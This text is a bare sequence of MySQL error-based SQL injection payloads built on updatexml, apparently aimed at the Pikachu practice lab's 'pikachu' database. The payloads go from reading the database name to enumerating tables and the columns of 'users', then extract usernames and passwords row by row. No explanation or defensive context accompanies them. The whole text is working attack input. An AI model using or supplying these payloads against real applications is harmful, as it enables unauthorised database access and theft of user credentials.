1+||+updatexml(1,concat(0x7e,database()),2)1+||+updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 3,1)),2)1+||+updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),2)1+||+updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 12,1)),2)1+||+updatexml(1,concat(0x7e,(select username from users limit 1,1)),2)1+||+updatexml(1,concat(0x7e,(select username from users limit 0,1)),2)1+||+updatexml(1,concat(0x7e,(select username from users limit 2,1)),2)1+||+updatexml(1,concat(0x7e,(select password from users limit 0,1)),2)1+||+updatexml(1,concat(0x7e,(select password from users limit 1,1)),2)1+||+updatexml(1,concat(0x7e,(select password from users limit 2,1)),2)
